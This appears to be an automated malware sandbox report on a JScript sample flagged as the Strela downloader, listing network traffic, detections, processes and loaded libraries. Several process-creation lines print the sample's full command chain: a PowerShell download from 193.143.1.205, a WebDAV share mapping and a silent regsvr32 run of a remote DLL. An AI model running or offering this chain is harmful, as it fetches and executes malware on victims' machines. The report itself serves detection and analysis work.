Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1708000625.0000025E4EE49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1758790227.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757138489.000001DB78C8F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757261171.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1758639891.000001DB78C38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1758936880.000001DB78C91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1758790227.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757261171.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/)
Source: net.exe, 00000006.00000002.1758790227.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1757261171.000001DB78C66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/9
Source: svchost.exe, 00000008.00000002.3004857746.000002156F600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1759455756.000002156F818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1759455756.000002156F818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1759455756.000002156F818000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1759455756.000002156F84D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1759455756.000002156F8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1759455756.000002156F8C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1759455756.000002156F8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7512, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 221165125265292179.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xprap5b0.drj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 221165125265292179.js

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1556,i,14946020306011975093,2828125424328156023,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1556,i,14946020306011975093,2828125424328156023,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
